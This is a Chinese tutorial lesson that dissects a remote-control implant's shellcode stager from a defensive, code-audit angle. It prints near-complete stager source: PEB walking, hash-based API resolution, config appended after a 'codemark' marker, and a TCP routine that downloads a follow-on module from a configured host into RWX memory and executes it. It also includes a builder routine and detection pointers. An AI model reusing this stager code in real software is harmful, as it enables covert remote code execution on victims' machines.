18 / 52 插件与被控运行机制

第 18 课:被控 shellcode 生成与执行流程

# 第 18 课:被控 shellcode 生成与执行流程

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课只从企业安全工程、源码审计和恶意代码分析视角讲解。文中不会提供可直接复用的攻击投递步骤、真实载荷字节或绕过检测方法;涉及动态执行的代码只用于帮助读者识别风险链路。

# 1. 本课要解决什么问题

前两课已经讲过 EXE、DLL、x86/x64 产物和 DLL 使用方式。第 18 课继续往下走,专门讲这套源码里最容易让新手迷糊的一条链路:

  1. 主插件\shellcode 工程如何生成被控 shellcode 代码块。
  2. 主控如何把连接配置拼接到 shellcode 后面。
  3. shellcode 被启动后如何找到自己的配置。
  4. shellcode 如何动态解析 API、联网取回后续模块数据。
  5. 取回的代码块如何进入 主插件\上线模块load(TCHAR* code) 入口。
  6. 企业防御侧应该在源码、构建、内存、网络和日志中看哪些证据。

先记住一句话:本课里的 shellcode 不是一个普通 DLL,也不是一个完整 EXE。它更像一段“能自己找 API、自己找配置、自己取回后续模块、再把控制流交给上线模块”的独立代码块。

1. 本课要解决什么问题(配图)

# 2. 源码目录和阅读顺序

本课主要涉及四组源码。

目录或文件 作用
主插件\shellcode\shellcode\shellcode.vcxproj 执行代码 工程配置,定义 Release 构建后事件和 x86/x64 输出位置
主插件\shellcode\shellcode\ShellCode_main.cpp shellcode 核心实现,包含入口函数、API 自解析、配置扫描、TCP/UDP 取数和构建期导出逻辑
主控\Quick\BuildDlg.cpp 主控生成 shellcode 文件的界面逻辑,把连接地址、端口、通信方式和完整配置拼到代码块后面
主插件\上线模块\上线模块\上线模块.cpp 上线模块入口,load(TCHAR* code) 接收 shellcode 传来的配置并启动连接线程
主插件\上线模块\上线模块\KernelManager.cpp 上线后继续加载登录模块的逻辑,把登录模块数据交给后续内存加载链

建议按下面顺序读源码:

  1. 先看 shellcode.vcxproj,理解为什么构建后会运行 执行代码.exe
  2. 再看 _tmain,理解它为什么只截取 ntdll_entryntdll_end
  3. 再看 BuildDlg.cpp,理解主控如何把 codemark + 配置 拼到 shellcode 后面。
  4. 再看 ntdll_entry,理解运行期如何找 API、找配置、选择 TCP/UDP。
  5. 最后看 上线模块.cpploadMainThread,理解后续上线流程如何接上。

# 3. 前置概念:先把名词说清楚

shellcode 是什么。 在本课语境里,shellcode 是一段从普通可执行文件中截取出来的机器码区域。它不能像普通 DLL 那样依赖 Windows Loader 帮它处理导入表、重定位和入口调用,所以它必须尽量自己解决“我在哪里、系统 API 在哪里、配置在哪里、下一段代码在哪里”这些问题。

PEB / TEB 是什么。 TEB 是线程环境块,PEB 是进程环境块。Windows 进程里会保存当前进程加载了哪些模块、模块基址在哪里等信息。shellcode 没有稳定导入表时,常见做法是从 TEB 找到 PEB,再从 PEB 的模块链表里找 kernel32.dllntdll.dll 等系统模块。对防御侧来说,源码里出现 FS:[0x30]GS:[0x60]、PEB 遍历、模块链表遍历,通常是动态解析 API 的强信号。

IAT / EAT 是什么。 IAT 是导入表,普通 EXE/DLL 通过它记录“我需要哪些外部 API”。EAT 是导出表,系统 DLL 通过它告诉外部“我提供哪些函数”。这份 shellcode 不想依赖普通 IAT,因此会先找到模块基址,再遍历 EAT,用哈希值匹配函数名,最后得到 API 地址。

为什么要动态解析 API。 普通程序调用 VirtualAllocLoadLibraryAWSAStartup 时,编译器和链接器会把导入关系写入 PE 文件。shellcode 作为裸代码块运行时,不能完全依赖这套机制,所以它用 get_kernel32_baseget_proc_address_from_hash 自己找 API。安全产品会重点关注这种行为,因为它常和无文件执行、手工加载、内存载荷相关。

为什么 PAGE_EXECUTE_READWRITE 是高风险信号。 内存页同时可读、可写、可执行,意味着程序可以先把数据写进去,再把这块数据当代码执行。正常业务程序很少需要长期 RWX 内存。源码里出现 VirtualAlloc(..., PAGE_EXECUTE_READWRITE) 并紧接着 memcpy、函数指针转换、间接调用时,基本就形成了“写入代码 -> 执行代码”的高风险链路。

x86 / x64 为什么差异很大。 x86 指针宽度是 4 字节,x64 指针宽度是 8 字节。x86 下 PEB 常通过 FS:[0x30] 取得,x64 下常通过 GS:[0x60] 取得。调用约定、结构体对齐、函数指针大小、网络标识也会不同。本源码里,TCP 分支发送 "32""64",UDP 分支使用不同标识字节,目的都是告诉对端当前需要哪种架构的数据。

3. 前置概念:先把名词说清楚(配图)

# 4. 完整生命周期:从工程构建到上线模块

把本课代码串成一条线,会比直接读函数清楚很多。

阶段 发生了什么 关键源码
构建期 shellcode.vcxproj 编译 执行代码.exe,Release 构建后事件运行这个 EXE shellcode.vcxproj
导出期 _tmainntdll_entryntdll_end 之间的代码写成 执行代码.dll ShellCode_main.cpp:761
主控生成期 主控读取 执行代码.dll,在末尾拼接 ShellCodeInfo、地址、端口和完整配置 BuildDlg.cpp:1409BuildDlg.cpp:1449
启动期 外部加载器把 shellcode 字节放进可执行内存,把入口当函数调用 BuildDlg.cpp:144 的模板示例
自举期 ntdll_entrykernel32、解析 API、扫描 codemark 找配置 ShellCode_main.cpp:347
取数期 mytcpmyudp 按配置连接并接收后续代码块 ShellCode_main.cpp:436ShellCode_main.cpp:504
转交期 接收缓冲区被当作入口调用,返回 load 函数指针,再把配置传入 ShellCode_main.cpp:436-502
上线期 上线模块::load 解析配置,创建 MainThread,进入连接循环 上线模块.cpp:400上线模块.cpp:189

4. 完整生命周期:从工程构建到上线模块(配图)

# 5. 构建期:执行代码 工程如何产出代码块

先看工程配置。shellcode.vcxproj 的项目名是 执行代码,Release 配置中存在构建后事件。构建后事件会运行刚生成的 EXE,然后由 EXE 自己把代码区间写出。

<!-- 源码位置:主插件\shellcode\shellcode\shellcode.vcxproj:22-27 -->
<PropertyGroup Label="Globals">
  <ProjectGuid>{DB54F4C7-3909-4E06-BA3B-B5F8459FA5C6}</ProjectGuid>
  <Keyword>Win32Proj</Keyword>
  <RootNamespace>shellcode</RootNamespace>
  <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
  <ProjectName>执行代码</ProjectName>
</PropertyGroup>
1
2
3
4
5
6
7
8

Release x86 和 Release x64 都会在构建后执行产物。这里要特别提醒新手:看到 PostBuildEvent 不要只把它当“复制文件脚本”。它可以执行任意程序,是企业构建链审计必须记录的点。

<!-- 源码位置:主插件\shellcode\shellcode\shellcode.vcxproj:131-135 -->
<PostBuildEvent>
  <!-- 防御分析:构建后运行 Release\执行代码.exe。
       这里不是普通业务启动,而是触发 _tmain 导出 shellcode 代码区间。 -->
  <Command>$(SolutionDir)$(Configuration)\$(ProjectName).exe</Command>
  <Message>生成..\\..\\Release\\执行代码.dll</Message>
</PostBuildEvent>

<!-- 源码位置:主插件\shellcode\shellcode\shellcode.vcxproj:158-161 -->
<PostBuildEvent>
  <!-- 防御分析:x64 构建后运行 x64\Release\执行代码.exe。
       输出路径和 x86 不同,主控后续会分别读取 x86/x64 的代码块。 -->
  <Command>$(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).exe</Command>
  <Message>生成..\\..\\x64\\Release\\执行代码.dll</Message>
</PostBuildEvent>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

再看 _tmain。这个函数的关键点不是“做业务”,而是把 ntdll_entryntdll_end 之间的机器码写到文件。

// 源码位置:主插件\shellcode\shellcode\ShellCode_main.cpp:761-785
int _tmain(int argc, _TCHAR* argv[])
{
    // 防御分析:start 指向 shellcode 运行期入口。
    uint8_t* start = (uint8_t*)ntdll_entry;

    // 防御分析:end 是人为放置的边界函数。
    // 代码将 [ntdll_entry, ntdll_end) 这个地址区间写出。
    uint8_t* end = (uint8_t*)ntdll_end;
    size_t size = end - start;

    TCHAR* pFolderPath = SHELLCODE_HEADER_FILE_NAME;
    HANDLE h = CreateFileW(pFolderPath, FILE_WRITE_ACCESS, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NULL, NULL);
    if (INVALID_HANDLE_VALUE == h || NULL == h)
        return -1;

    // 防御分析:WriteFile 写出的不是普通配置文件,而是可被后续加载执行的代码块。
    DWORD dwBytesWritten = 0;
    if (!WriteFile(h, start, (DWORD)size, &dwBytesWritten, NULL) || size != dwBytesWritten)
    {
        CloseHandle(h);
        return -1;
    }

    FlushFileBuffers(h);
    CloseHandle(h);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

这里有一个容易误解的地方:文件名叫 执行代码.dll,但这节课不要把它理解成普通 DLL 加载。它的核心价值是“保存一段可执行代码区域”,后续主控会把它当作字节块继续拼接配置。

# 6. 主控生成期:配置如何拼到 shellcode 后面

构建期只生成了代码块。真正和“被控上线配置”有关的数据,是主控生成阶段拼进去的。

BuildDlg.cpp 里也定义了一个 ShellCodeInfo。它和 ShellCode_main.cpp 中运行期要读取的结构对应。注意:结构体里只保存地址长度、端口和通信模式,不直接保存完整地址字符串;地址字符串会紧跟在结构体后面。

// 源码位置:主控\Quick\BuildDlg.cpp:105-119
struct ShellCodeInfo
{
    char mark[30];       // 防御分析:固定标记,运行期通过扫描 "codemark" 找到配置起点。
    int addrlen1;        // 第一组地址字符串长度,运行期按这个长度复制 add1。
    int szPort1;         // 第一组端口,运行期填入 sockaddr。
    bool IsTcp1;         // 第一组通信模式,true 表示 TCP,false 表示 UDP。
    int addrlen2;        // 第二组地址字符串长度,运行期按这个长度复制 add2。
    int szPort2;         // 第二组端口。
    bool IsTcp2;         // 第二组通信模式。
} g_myShellCodeInfo =
{
    "codemark",          // 防御分析:这是内存扫描锚点,也是静态规则可关注的字符串特征。
    10,
    3,
    1,
    10,
    3,
    1,
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

用户在主控界面点生成 shellcode 时,会分别生成 x86 和 x64 两份输出。这里的“分别生成”很重要,因为 32 位和 64 位代码块不能混用。

// 源码位置:主控\Quick\BuildDlg.cpp:1409-1444
void CBuildDlg::OnBnClickedBuildShellcode()
{
    UpdateData(TRUE);

    // 防御分析:界面提示说明 shellcode 生成只使用第一组和第二组 IP/端口。
    m_edit_tip.SendMessage(EM_REPLACESEL, 0,
        (LPARAM)_T("注意:shellcode上线只使用第一组和第二组 IP 端口配置 支持TCP UDP,其他一样\r\n"));

    CFileDialog dlg(FALSE, _T(""), _T("output"), OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
        _T("可执行文件(*.*)| All Files (*.*) |*.*||"), NULL);
    if (dlg.DoModal() != IDOK)
        return;

    if (!GetSettingData())
        return;

    // 防御分析:先读取 x86 的执行代码.dll,再写成用户选择路径 + _86.bin。
    CString path;
    path = _T("\\Plugins\\x86\\执行代码.dll");
    swprintf_s(m_szWritePath, _T("%s_86.bin"), dlg.GetPathName());
    if (!changeshellcodeandwritefile(path))
        return;

    // 防御分析:再读取 x64 的执行代码.dll,写成用户选择路径 + _64.bin。
    path = _T("\\Plugins\\x64\\执行代码.dll");
    swprintf_s(m_szWritePath, _T("%s_64.bin"), dlg.GetPathName());
    if (!changeshellcodeandwritefile(path))
        return;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

拼接逻辑在 changeshellcodeandwritefile。新手读这段时,不要一上来纠结每个 UI 控件名。先抓住内存布局:

[ntdll_entry 到 ntdll_end 的代码区]
[ShellCodeInfo,开头包含 codemark]
[addr1 字符串]
[addr2 字符串]
[confi 完整配置字符串]
1
2
3
4
5

6. 主控生成期:配置如何拼到 shellcode 后面(配图)

对应源码如下。

// 源码位置:主控\Quick\BuildDlg.cpp:1449-1512
BOOL CBuildDlg::changeshellcodeandwritefile(const CString& path)
{
    // 防御分析:path 指向 Plugins\x86\执行代码.dll 或 Plugins\x64\执行代码.dll。
    TCHAR szDataPath[MAX_PATH] = { 0 };
    GetModuleFileName(NULL, szDataPath, ARRAYSIZE(szDataPath));
    *_tcsrchr(szDataPath, _T('\\')) = '\0';
    CString path_data = szDataPath;
    path_data += path;

    ShellCodeInfo shellCodeInfo;
    memcpy(&shellCodeInfo, &g_myShellCodeInfo, sizeof(ShellCodeInfo));

    // 防御分析:第一组地址来自主控界面,转换为窄字节字符串后拼到结构体后面。
    int nLen = wcslen(m_edit_ip.GetBuffer(0)) + 1;
    char addr1[256] = { 0 };
    WideCharToMultiByte(CP_ACP, 0, m_edit_ip.GetBuffer(0), nLen, addr1, 2 * nLen, NULL, NULL);
    shellCodeInfo.szPort1 = _ttoi(m_edit_port.GetBuffer(0));
    shellCodeInfo.IsTcp1 = m_combo_net.GetCurSel() ? false : true;
    shellCodeInfo.addrlen1 = strlen(addr1) + 1;

    // 防御分析:第二组地址同理。运行期失败切换时会使用第二组配置。
    nLen = wcslen(m_edit_ip2.GetBuffer(0)) + 1;
    char addr2[256] = {};
    WideCharToMultiByte(CP_ACP, 0, m_edit_ip2.GetBuffer(0), nLen, addr2, 2 * nLen, NULL, NULL);
    shellCodeInfo.szPort2 = _ttoi(m_edit_port2.GetBuffer(0));
    shellCodeInfo.IsTcp2 = m_combo_net2.GetCurSel() ? false : true;
    shellCodeInfo.addrlen2 = strlen(addr2) + 1;

    // 防御分析:读取构建期输出的代码块。企业侧应关注构建产物被再次读取并拼接配置。
    HANDLE hFile = CreateFile(path_data, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
        return FALSE;

    DWORD len = GetFileSize(hFile, NULL);
    char* str = new char[len];
    ZeroMemory(str, sizeof(char) * len);
    DWORD wr = 0;
    ReadFile(hFile, str, len, &wr, NULL);
    CloseHandle(hFile);

    // 防御分析:最终文件 = 代码块 + ShellCodeInfo + addr1 + addr2 + 完整配置。
    int shellcodeSize = len + sizeof(ShellCodeInfo) + shellCodeInfo.addrlen1 +
        shellCodeInfo.addrlen2 + lstrlen(m_szConfig) * 2 + 2;

    unsigned char* lpDatBuffer = new unsigned char[shellcodeSize];
    ZeroMemory(lpDatBuffer, shellcodeSize);

    CopyMemory(lpDatBuffer, str, len);                                                   // 代码区
    CopyMemory(lpDatBuffer + len, &shellCodeInfo, sizeof(ShellCodeInfo));                 // codemark + 长度/端口/模式
    CopyMemory(lpDatBuffer + len + sizeof(ShellCodeInfo), addr1, shellCodeInfo.addrlen1); // 第一组地址
    CopyMemory(lpDatBuffer + len + sizeof(ShellCodeInfo) + shellCodeInfo.addrlen1,
        addr2, shellCodeInfo.addrlen2);                                                   // 第二组地址
    CopyMemory(lpDatBuffer + len + sizeof(ShellCodeInfo) + shellCodeInfo.addrlen1 + shellCodeInfo.addrlen2,
        m_szConfig, lstrlen(m_szConfig) * 2 + 2);                                         // 完整配置

    // 防御分析:写出的 .bin 是“代码 + 配置”的组合体,不应在未授权环境运行。
    HANDLE h_bin = CreateFileW(m_szWritePath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NULL, NULL);
    // 安全化节选:省略文件刷新细节,仅保留防御分析所需的构建输出边界。
    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

这一步解决的是“shellcode 如何带上配置”。如果不理解这段,后面看到 ntdll_entry 扫描 codemark 时就会觉得突然。

# 7. 启动期:shellcode 如何被启动

shellcode 写成文件以后,还需要有一段外部加载逻辑把它放进内存并转移控制流。项目里在 BuildDlg.cpp 中放了一个“使用方法”字符串模板,展示的是典型高风险形态:申请可执行内存、复制 shellcode 字节、转成函数指针并调用。

// 源码位置:主控\Quick\BuildDlg.cpp:144-154
char OutDataloadfun[] = "/*//使用方法\r\n"
"\r\n typedef void(__stdcall* CODE) ();"
"\r\nPVOID p = NULL;"
"\r\nif ((p = VirtualAlloc(NULL, sizeof(g_ShellCodeFileBuff), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)"
"\r\n    return 0;"
"\r\nif (!(memcpy(p, g_ShellCodeFileBuff, sizeof(g_ShellCodeFileBuff))))"
"\r\n    return 0;"
"\r\n    CODE code = (CODE)p;"
"\r\n        code();"
"\r\n*/";
1
2
3
4
5
6
7
8
9
10
11

对新手来说,可以把这段拆成四个动作:

  1. VirtualAlloc 申请一段内存。
  2. PAGE_EXECUTE_READWRITE 让这段内存具备写入和执行能力。
  3. memcpy 把外部字节复制进去。
  4. (CODE)p 把内存地址当作函数入口,再 code() 转移控制流。

下面这段是防御审计用的抽象示例,特意禁用执行,不包含真实 shellcode 字节,也不作为可运行样例。它的目的只是帮助你在代码审计时识别“动态代码加载”的形状。

// 防御审计示例:不要运行,不包含真实载荷。
// 源码对应风险形态:主控\Quick\BuildDlg.cpp:144-154
#if 0
#include <windows.h>
#include <cstdint>
#include <cstring>

void AuditOnly_ShellcodeLoadShape(const uint8_t* bytes, size_t size)
{
    // 防御分析:bytes/size 代表外部输入的代码字节。
    // 合法软件应验证来源、签名、完整性和业务必要性;未知来源字节绝不能直接执行。
    if (bytes == nullptr || size == 0)
        return;

    // 防御分析:RWX 是最重要的告警点之一。
    void* region = VirtualAlloc(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (region == nullptr)
        return;

    // 防御分析:写入后执行是 EDR/内存取证要关联观察的行为。
    std::memcpy(region, bytes, size);

    // 防御分析:函数指针转换说明控制流可能离开正常模块边界。
    // 本示例不调用 entry(),避免提供可直接复用的执行样例。
    using Entry = void(__stdcall*)();
    Entry entry = reinterpret_cast<Entry>(region);

    // entry(); // 高风险控制流转移点:教程不执行,也不提供真实字节。
    VirtualFree(region, 0, MEM_RELEASE);
}
#endif
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

企业检测时不要只看单个 API。更可靠的关联是:

VirtualAlloc(PAGE_EXECUTE_READWRITE)
  -> memcpy / WriteProcessMemory / 网络 recv 写入
  -> 函数指针转换或线程入口指向私有内存
  -> 后续出现网络连接、模块加载或命令分发
1
2
3
4

7. 启动期:shellcode 如何被启动(配图)

# 8. 运行期第一步:ntdll_entry 自举

一旦控制流进入 shellcode,第一站就是 ntdll_entry。这个函数要完成四件事:

  1. 找到 kernel32.dll
  2. 解析 GetProcAddressLoadLibraryAVirtualAlloc 等 API。
  3. 扫描 codemark,找到后面拼接的配置。
  4. 加载 Ws2_32.dll,解析网络函数,然后按配置走 TCP 或 UDP。
// 源码位置:主插件\shellcode\shellcode\ShellCode_main.cpp:347-383
unsigned int ntdll_entry()
{
    func_t func;
    func.m_socket = NULL;
    func.buff = NULL;
    func.data = NULL;
    func.confi = NULL;

    // 防御分析:shellcode 不依赖普通 IAT,而是从 PEB 模块链找 kernel32。
    HMODULE kernel32 = get_kernel32_base();

    // 防御分析:通过哈希值解析 API,减少可见字符串。
    // 这是内存载荷、壳代码和手工加载器常见特征。
    func.GetProcAddress = (_GetProcAddress)get_proc_address_from_hash(kernel32, GetProcAddress_Hash, 0);
    func.LoadLibraryA = (_LoadLibraryA)get_proc_address_from_hash(kernel32, LoadLibraryA_Hash, func.GetProcAddress);
    func.VirtualAlloc = (_VirtualAlloc)get_proc_address_from_hash(kernel32, VirtualAlloc_Hash, func.GetProcAddress);
    func.VirtualFree = (_VirtualFree)get_proc_address_from_hash(kernel32, VirtualFree_Hash, func.GetProcAddress);
    func.lstrcmpiA = (_lstrcmpiA)get_proc_address_from_hash(kernel32, lstrcmpiA_Hash, func.GetProcAddress);

    // 防御分析:加载 ntdll 后解析 RtlZeroMemory/RtlMoveMemory。
    char s[] = { 'n', 't', 'd', 'l', 'l', 0 };
    HMODULE ntdll = func.LoadLibraryA(s);
    func._ZeroMemory = (_RtlZeroMemory)get_proc_address_from_hash(ntdll, RtlZeroMemory_Hash, func.GetProcAddress);
    func._MoveMemory = (_RtlMoveMemory)get_proc_address_from_hash(ntdll, RtlMoveMemory_Hash, func.GetProcAddress);

#ifdef _WIN64
    // 防御分析:x64 下直接以 ntdll_entry 为扫描起点。
    char* buff_point = (char*)ntdll_entry;
#else
    // 防御分析:x86 下通过 geteip32 获取当前位置。
    char* buff_point = (char*)geteip32();
#endif
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

这里的 func_t 是一个运行期函数表。它把解析出来的 API 地址集中存起来,后面不再通过普通导入表调用。

// 源码位置:主插件\shellcode\shellcode\ShellCode_main.cpp:270-307
typedef struct Func {
    // 防御分析:kernel32 API。VirtualAlloc/VirtualFree 是内存执行链路重点。
    _GetProcAddress GetProcAddress;
    _LoadLibraryA LoadLibraryA;
    _VirtualAlloc VirtualAlloc;
    _VirtualFree VirtualFree;
    _lstrcmpiA lstrcmpiA;

    // 防御分析:ntdll API。用于清零和内存复制,避免依赖 CRT。
    _RtlZeroMemory _ZeroMemory;
    _RtlMoveMemory _MoveMemory;

    // 防御分析:Winsock API。后续取回上线模块代码块时会用到。
    _WSAStartup WSAStartup;
    _socket socket;
    _getaddrinfo getaddrinfo;
    _freeaddrinfo freeaddrinfo;
    _htons htons;
    _connect connect;
    _send send;
    _recv recv;
    _closesocket closesocket;
    _WSACleanup WSACleanup;

    SOCKET m_socket;       // 当前网络 socket。
    SOCKADDR_IN ClientAddr;// 连接目标地址。
    CHAR* buff;            // 接收后续代码块的缓冲区,风险点在于后续会被当代码调用。
    ShellCodeInfo* data;   // 指向 codemark 位置,即配置结构起点。
    TCHAR* confi;          // 指向完整配置字符串,会传给上线模块 load。
    char* add1;            // 第一组连接地址。
    char* add2;            // 第二组连接地址。
} func_t, * func_p;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

配置定位依赖前面主控拼进去的 codemark

// 源码位置:主插件\shellcode\shellcode\ShellCode_main.cpp:375-395
for (int i = 0; i < 21000; i++)
{
    // 防御分析:扫描固定字符串 codemark。
    // 这说明 shellcode 的配置不是通过命令行或导入表传入,而是附加在代码块后面。
    if (buff_point[i] == 'c' && buff_point[i + 1] == 'o' &&
        buff_point[i + 2] == 'd' && buff_point[i + 3] == 'e' &&
        buff_point[i + 4] == 'm' && buff_point[i + 5] == 'a' &&
        buff_point[i + 6] == 'r' && buff_point[i + 7] == 'k')
    {
        func.data = (ShellCodeInfo*)((DWORD_PTR)buff_point + i);

        // 防御分析:把 addr1/addr2 复制到新分配内存。
        // 注意这里使用 PAGE_EXECUTE_READWRITE,即使地址字符串本身不需要执行权限。
        func.add1 = (CHAR*)func.VirtualAlloc(0, func.data->addrlen1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        func._ZeroMemory(func.add1, func.data->addrlen1);
        func._MoveMemory(func.add1, (char*)(func.data) + sizeof(ShellCodeInfo), func.data->addrlen1);

        func.add2 = (CHAR*)func.VirtualAlloc(0, func.data->addrlen2, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        func._ZeroMemory(func.add2, func.data->addrlen2);
        func._MoveMemory(func.add2, (char*)(func.data) + sizeof(ShellCodeInfo) + func.data->addrlen1, func.data->addrlen2);
        break;
    }
}

// 防御分析:confi 指向 addr1、addr2 后面的完整配置字符串。
func.confi = (TCHAR*)((DWORD_PTR)func.data + sizeof(ShellCodeInfo)) + func.data->addrlen1 + func.data->addrlen2;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

这段代码解释了为什么前面必须先理解内存布局。codemark 不是魔法,它就是主控拼接进去的结构体开头。

# 9. API 动态解析:从 PEB 到 EAT

get_kernel32_base 负责从 PEB 的模块链表中找 kernel32.dll

// 源码位置:主插件\shellcode\shellcode\ShellCode_main.cpp:677-698
HMODULE get_kernel32_base()
{
    _PPEB peb = 0;
#ifdef _WIN64
    // 防御分析:x64 下从 GS:[0x60] 取得 PEB。
    peb = (_PPEB)__readgsqword(0x60);
#else
    // 防御分析:x86 下从 FS:[0x30] 取得 PEB。
    peb = (_PPEB)__readfsdword(0x30);
#endif

    // 防御分析:遍历 InMemoryOrderModuleList。
    // 这种“自己找模块基址”的行为是 shellcode 常见自举动作。
    LIST_ENTRY* entry = peb->pLdr->InMemoryOrderModuleList.Flink;
    while (entry)
    {
        PLDR_DATA_TABLE_ENTRY e = (PLDR_DATA_TABLE_ENTRY)entry;
        if (calc_hashW2(e->BaseDllName.pBuffer, e->BaseDllName.Length / 2) == Kernel32Lib_Hash)
        {
            return (HMODULE)e->DllBase;
        }
        entry = entry->Flink;
    }
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

get_proc_address_from_hash 负责遍历模块导出表。它不是直接比较函数名字符串,而是对导出函数名计算哈希,再和预先写死的哈希常量比较。

// 源码位置:主插件\shellcode\shellcode\ShellCode_main.cpp:711-735
void* get_proc_address_from_hash(HMODULE module, uint32_t func_hash, _GetProcAddress get_proc_address)
{
    // 防御分析:手工解析 PE 头,从 DOS 头跳到 NT 头。
    PIMAGE_DOS_HEADER dosh = cast(PIMAGE_DOS_HEADER, module);
    PIMAGE_NT_HEADERS nth = cast_offset(PIMAGE_NT_HEADERS, module, dosh->e_lfanew);

    // 防御分析:读取导出表目录。这里对应 PE 的 EAT。
    PIMAGE_DATA_DIRECTORY dataDict = &nth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (dataDict->VirtualAddress == 0 || dataDict->Size == 0)
        return 0;

    PIMAGE_EXPORT_DIRECTORY exportDict = cast_offset(PIMAGE_EXPORT_DIRECTORY, module, dataDict->VirtualAddress);
    if (exportDict->NumberOfNames == 0)
        return 0;

    uint32_t* fn = cast_offset(uint32_t*, module, exportDict->AddressOfNames);
    uint32_t* fa = cast_offset(uint32_t*, module, exportDict->AddressOfFunctions);
    uint16_t* ord = cast_offset(uint16_t*, module, exportDict->AddressOfNameOrdinals);

    for (uint32_t i = 0; i < exportDict->NumberOfNames; i++)
    {
        char* name = cast_offset(char*, module, fn[i]);

        // 防御分析:不直接保存 API 字符串,而是比较哈希。
        if (calc_hash(name) != func_hash)
            continue;

        return get_proc_address == 0
            ? cast_offset(void*, module, fa[ord[i]])
            : get_proc_address(module, name);
    }
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

9. API 动态解析:从 PEB 到 EAT(配图)

# 10. 运行期第二步:TCP / UDP 取回后续代码块

ntdll_entry 解析完 Ws2_32.dll 里的网络函数后,会根据配置选择 TCP 或 UDP。这里要理解一个关键点:shellcode 本身不包含完整上线模块代码,它会通过网络取回后续代码块,再把取回的数据当作入口调用。

# 10.1 TCP 分支

TCP 分支里最关键的几步是:申请可执行缓冲区、连接目标、发送架构标识、接收固定大小的数据、处理数据、转换为函数指针调用。

// 源码位置:主插件\shellcode\shellcode\ShellCode_main.cpp:436-502
void mytcp(func_t* func, int i)
{
    LPVOID buff = NULL;
    ADDRINFOA* ip = NULL;

    // 防御分析:创建 TCP socket。这里用的是前面动态解析出来的函数指针。
    func->m_socket = func->socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (func->m_socket == INVALID_SOCKET)
        goto end;

    // 防御分析:为后续代码块申请 RWX 内存。
    // 这块内存后续会被转换为函数入口,是本课最重要的内存风险点。
    func->buff = (CHAR*)func->VirtualAlloc(
        0,
        512 * 1024 + 14,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
    if (!func->buff)
        goto end;

    // 防御分析:按第一组或第二组地址解析目标。
    if (func->getaddrinfo((i == 1) ? func->add1 : func->add2, 0, 0, &ip) != 0)
        goto end;

    func->ClientAddr = *((SOCKADDR_IN*)ip->ai_addr);
    func->ClientAddr.sin_port = func->htons((i == 1) ? func->data->szPort1 : func->data->szPort2);
    if (func->connect(func->m_socket, (SOCKADDR*)&(func->ClientAddr), sizeof(func->ClientAddr)) == SOCKET_ERROR)
        goto end;

#ifdef _WIN64
    char name[] = { '6','4',0 }; // 防御分析:告诉对端当前是 64 位。
#else
    char name[] = { '3','2',0 }; // 防御分析:告诉对端当前是 32 位。
#endif
    int rt = func->send(func->m_socket, name, sizeof(name), 0);
    if (rt <= 0)
        goto end;

    // 防御分析:接收后续数据并复制到可执行缓冲区。
    // 专栏不复现网络传输,只说明这类 recv -> RWX buffer -> indirect call 的风险链。
    int len = 0;
    int nSize = 0;
    buff = func->VirtualAlloc(0, 310 * 1024, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    do
    {
        nSize = func->recv(func->m_socket, (CHAR*)buff, 100 * 1024, 0);
        if (nSize <= 0)
            goto end;
        func->_MoveMemory(func->buff + len, (void*)buff, (DWORD)nSize);
        len += nSize;
    } while (len != (300 * 1024 + 14));

    // 防御分析:源码随后会处理接收到的数据,并把 func->buff 偏移后的地址当入口调用。
    typedef VOID(__stdcall* CODE) (_In_ TCHAR*);
    CODE fn = ((CODE(*)()) func->buff)();
    fn(func->confi);

end:
    if (ip)
        func->freeaddrinfo(ip);
    if (func->m_socket != INVALID_SOCKET)
        func->closesocket(func->m_socket);
    if (func->buff)
        func->VirtualFree(func->buff, 0, MEM_RELEASE);
    if (buff)
        func->VirtualFree(buff, 0, MEM_RELEASE);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

